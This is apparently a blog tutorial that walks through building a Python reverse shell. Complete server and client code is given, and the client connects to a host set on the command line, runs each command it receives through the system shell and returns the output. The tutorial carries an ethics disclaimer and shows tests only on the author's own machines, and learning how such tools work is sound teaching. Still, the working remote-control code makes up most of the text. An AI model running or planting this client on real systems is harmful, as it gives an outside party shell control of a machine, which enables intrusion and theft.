In our digital age, keeping our online spaces secure is super important. One really useful tool for this is the reverse shell, which lets you remotely access another computer. It’s great for system admins and cybersecurity pros, but hackers can misuse it too. That’s why it’s crucial to know how powerful it is and to use it ethically. Ethical hacking, or penetration testing, uses tools like reverse shells to find and fix security issues, helping keep our systems safe and secure.
In this tutorial, we’ll walk you through the process of creating a reverse shell in Python. We’ll cover both the server and client code, demonstrating how to establish a secure connection for remote command execution. You’ll gain a deeper understanding of network programming and socket
communication in Python, equipping you with the skills needed for both legitimate security testing and educational purposes. Remember, the knowledge you gain here should always be applied ethically and with proper authorization.
Let’s get started!
Table of Contents
Disclaimer
Please note: This tutorial is for educational purposes only. Creating and using reverse shells without proper authorization is illegal and unethical. Always ensure you have explicit permission before testing on any system.
RELATED: How to Create a Chatroom in Python
Creating a Reverse Shell Server
Imports
Since we intend to control our own remote computer, we’ll need a handy tool that lets us connect and communicate with other devices: the socket module, which is our only import for this script.
import socket
Defining Constants
Now that we have our tool ready, it’s time to set up the stage:
- First, we set our
SERVER_HOST
to0.0.0.0
so it’s open to any incoming connections. It’s like setting up a signal telling everyone that you’re here. - Our second constant is the
SERVER_PORT
. If the server host is the address, think of the server port as the door number. We’ve chosen5003
for our door since it’s unoccupied. - Next, since we expect visitors to our server, we need to ensure it can handle large chunks of data. We do this by setting
BUFFER_SIZE
to handle up to 128KB. - Finally, to avoid confusion and keep everything organized, we’ll set up a
SEPARATOR
to split and organize the messages.
# Constants
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
Starting the Server
With the stage set, let’s start building our server. We’ll create a socket object, which is essentially a telephone line ready to connect calls.
def start_server():
# Create a socket object
server_socket = socket.socket()
Binding and Configuring Socket
Although our telephone line is ready to connect calls, it doesn’t have a number yet, so we can’t call it. That’s why we bind the socket to our SERVER_HOST
and SERVER_PORT
to give it a number:
# This Bind the socket to all IP addresses of this host
server_socket.bind((SERVER_HOST, SERVER_PORT))
We also don’t want our telephone line to be out of reach and give busy signals, so we use setsockopt()
to allow the port to be reused without any complaints:
# Make the port reusable
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
Finally, we want our telephone line to be on the lookout for any incoming calls, which is why we use listen(5)
. If you noticed the 5
, it simply means we can handle up to 5 calls at a time:
# Start listening for incoming connections
server_socket.listen(5)
The print statement informs us that the server is listening and ready for connections:
print(f"[*] The Pycodes is Listening as {SERVER_HOST}:{SERVER_PORT}")
Accepting Connections
At this stage, we receive a caller (client) to our telephone line (server). Once a connection is made using the accept()
function, a new socket is created for that specific connection, and we can see the caller’s address thanks to the print()
statement.
# Accept connections
client_socket, client_address = server_socket.accept()
print(f"[+] {client_address[0]}:{client_address[1]} Connected to The Pycodes")
Receiving Initial Data
Here we use recv()
to receive data from the client, allowing us to know their current working directory and listen closely to their messages. Once the messages are received, they are decoded with the decode()
function to become readable. The received directory is then printed so we know where the client is located on their computer.
# Receive the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print(f"[+] Current working directory: {cwd}")
Main Command Loop
This loop is where the conversation between the server and the client happens. It prompts the user to input an actual command, ensuring it’s not empty thanks to the strip()
function. The command is then sent to the client using send()
, while the debug information about the command is printed only to the server user, not the client. Finally, the user can shut down the server by simply typing exit
.
while True:
# Get command from user
command = input(f"{cwd} $> ")
if not command.strip():
continue
# Send command to client
print(f"[DEBUG] Sending command: {command}")
client_socket.send(command.encode())
if command.lower() == "exit":
break
Receiving Command Output
Just like any good conversation, there’s a response to every message. In this part, the server listens for the client’s reply. We use recv()
to receive the response, which contains the output of the command the server sent. This raw data is then made readable with decode()
. Next, we split the output using SEPARATOR
to find the client’s new working directory.
Finally, we print the command’s output, showing the result of our interaction.
# Receive and print command output
output = client_socket.recv(BUFFER_SIZE).decode()
results, cwd = output.split(SEPARATOR)
print(f"[DEBUG] Received output: {results}")
print(results)
Closing Connections
This part uses close()
to ensure that both the server and client sockets are properly closed, wrapping up our connection cleanly.
# Close sockets
client_socket.close()
server_socket.close()
Main Function Call
This one calls the start_server()
function and ensures that the server starts only if this script is run directly and not imported.
if __name__ == "__main__":
start_server()
Server Full Code
import socket
# Constants
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
def start_server():
# Create a socket object
server_socket = socket.socket()
# This Bind the socket to all IP addresses of this host
server_socket.bind((SERVER_HOST, SERVER_PORT))
# Make the port reusable
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Start listening for incoming connections
server_socket.listen(5)
print(f"[*] The Pycodes is Listening as {SERVER_HOST}:{SERVER_PORT}")
# Accept connections
client_socket, client_address = server_socket.accept()
print(f"[+] {client_address[0]}:{client_address[1]} Connected to The Pycodes")
# Receive the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print(f"[+] Current working directory: {cwd}")
while True:
# Get command from user
command = input(f"{cwd} $> ")
if not command.strip():
continue
# Send command to client
print(f"[DEBUG] Sending command: {command}")
client_socket.send(command.encode())
if command.lower() == "exit":
break
# Receive and print command output
output = client_socket.recv(BUFFER_SIZE).decode()
results, cwd = output.split(SEPARATOR)
print(f"[DEBUG] Received output: {results}")
print(results)
# Close sockets
client_socket.close()
server_socket.close()
if __name__ == "__main__":
start_server()
Now that we have seen the server side, it is time to discuss how the client part works:
Client Part
Necessary Imports
Just like the server part, the client part also needs to import the necessary tools:
- Our first import is
socket
to connect the client to the server. - Our second import is
os
to interact with the operating system. - Our third import is
subprocess
to run shell commands from within our script. - Our fourth import is
sys
to handle command-line arguments. - Our final import is
platform
to identify the operating system running on our computer.
import socket
import os
import subprocess
import sys
import platform
Handling Command Line Arguments
This part ensures you add the SERVER_HOST
address as a command-line argument. If you forget, the script prompts you to include it by displaying a usage message and then exits. This ensures the client knows exactly where to connect.
# Ensure SERVER_HOST is provided as an argument
if len(sys.argv) < 2:
print("Usage: python client.py <SERVER_HOST>")
sys.exit(1)
Setting Up Constants
Before diving in, we need to set the stage by defining our constants. These are the same as in the server code, with one key difference: the SERVER_HOST
here is the address we want to connect to, which you provide as a command-line argument. This small detail ensures our client knows exactly where to reach out.
# Constants
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 131072 # 128KB buffer size for messages
SEPARATOR = "<sep>"
Initiating the Connection
In this step, we will call the telephone line (server) we created in the previous script. To do this, we will create a socket object using socket.socket()
, and then connect to the server using socket.connect()
. Once connected, we use os.getcwd()
to get our current directory and send it to the server using sock.send()
to inform the server where we are.
def initiate_connection():
try:
# Create a socket object
sock = socket.socket()
# Connect to the server
print(f"Attempting to connect to {SERVER_HOST}:{SERVER_PORT}")
sock.connect((SERVER_HOST, SERVER_PORT))
print(f"Connected to {SERVER_HOST}:{SERVER_PORT}")
# Send the current working directory to the server
current_dir = os.getcwd()
sock.send(current_dir.encode())
Main Loop for Command Execution
In this loop, we tell the server that we are always ready to receive any command using sock.recv()
. We decode the received command and check if it is ‘exit‘ with command.lower()
. If it is, we break the loop to end the connection gracefully. If the command is not ‘exit‘, we execute it using handle_command()
and send the result back to the server along with our current directory using sock.send()
.
Finally, we use sock.close()
to close the connection. The try-except blocks handle any errors that may occur during this process.
while True:
# Receive a command from the server
command = sock.recv(BUFFER_SIZE).decode()
print(f"[DEBUG] Command received: {command}")
if command.lower() == "exit":
break
# Execute the received command
response = handle_command(command)
print(f"[DEBUG] Command response: {response}")
# Send the response and current directory back to the server
current_dir = os.getcwd()
message = f"{response}{SEPARATOR}{current_dir}"
sock.send(message.encode())
# Close the socket connection
sock.close()
except socket.gaierror as e:
print(f"Address-related error connecting to server: {e}")
except socket.error as err:
print(f"Socket error: {err}")
except Exception as e:
print(f"Error: {e}")
Handling Commands
This part tells us to follow any command that comes from the server. If the command starts with cd
, we change to the specified directory using os.chdir()
. If the directory doesn’t exist, we send an appropriate response. For any other command, we pass it to our shell command executor to run it. In simple terms, the server is in control of our operating system.
def handle_command(command):
if command.startswith("cd "):
# Change directory command
directory = command[3:].strip()
try:
os.chdir(directory)
return f"Changed directory to {directory}"
except FileNotFoundError:
return f"Directory not found: {directory}"
except Exception as e:
return str(e)
else:
# Execute shell command
return execute_shell_command(command)
Executing Shell Commands
Once the command is passed to the shell command executor, the first thing we do is determine the operating system running on our computer using platform.system()
. Based on this information, we use the appropriate shell with subprocess.Popen()
to execute the command and wait for the output or any errors using process.communicate()
.
Finally, we gather the results and errors together and send them back.
def execute_shell_command(command):
# Identify the operating system
os_type = platform.system().lower()
if os_type == "windows":
# Use Windows shell to execute the command
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
else:
# Use Unix-based shell to execute the command
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
executable="/bin/bash", text=True)
# Capture the command output
stdout, stderr = process.communicate()
return stdout + stderr
Executing Main Function
By executing this part, we kickstart the whole process of connecting to the server and handling commands. However, it only runs if the script is executed directly. If the script is imported as a module, this part won’t run.
if __name__ == "__main__":
initiate_connection()
Client Full Code
import socket
import os
import subprocess
import sys
import platform
# Ensure SERVER_HOST is provided as an argument
if len(sys.argv) < 2:
print("Usage: python client.py <SERVER_HOST>")
sys.exit(1)
# Constants
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 131072 # 128KB buffer size for messages
SEPARATOR = "<sep>"
def initiate_connection():
try:
# Create a socket object
sock = socket.socket()
# Connect to the server
print(f"Attempting to connect to {SERVER_HOST}:{SERVER_PORT}")
sock.connect((SERVER_HOST, SERVER_PORT))
print(f"Connected to {SERVER_HOST}:{SERVER_PORT}")
# Send the current working directory to the server
current_dir = os.getcwd()
sock.send(current_dir.encode())
while True:
# Receive a command from the server
command = sock.recv(BUFFER_SIZE).decode()
print(f"[DEBUG] Command received: {command}")
if command.lower() == "exit":
break
# Execute the received command
response = handle_command(command)
print(f"[DEBUG] Command response: {response}")
# Send the response and current directory back to the server
current_dir = os.getcwd()
message = f"{response}{SEPARATOR}{current_dir}"
sock.send(message.encode())
# Close the socket connection
sock.close()
except socket.gaierror as e:
print(f"Address-related error connecting to server: {e}")
except socket.error as err:
print(f"Socket error: {err}")
except Exception as e:
print(f"Error: {e}")
def handle_command(command):
if command.startswith("cd "):
# Change directory command
directory = command[3:].strip()
try:
os.chdir(directory)
return f"Changed directory to {directory}"
except FileNotFoundError:
return f"Directory not found: {directory}"
except Exception as e:
return str(e)
else:
# Execute shell command
return execute_shell_command(command)
def execute_shell_command(command):
# Identify the operating system
os_type = platform.system().lower()
if os_type == "windows":
# Use Windows shell to execute the command
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
else:
# Use Unix-based shell to execute the command
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
executable="/bin/bash", text=True)
# Capture the command output
stdout, stderr = process.communicate()
return stdout + stderr
if __name__ == "__main__":
initiate_connection()
Example
You can try it on your own computer by running the server code in your command prompt like this: python server.py
. Then, run the client code like this: python client.py <SERVER_HOST>
, replacing <SERVER_HOST>
with the actual IP address or hostname of the server.
I ran this script on Windows as shown in the image below:
Also on a Linux system:
Conclusion
In the end, creating a server-client connection with Python’s socket module is a fantastic way to explore remote control capabilities. By setting up your server to send commands and your client to execute them, you’ve essentially built a remote shell.
Happy Coding!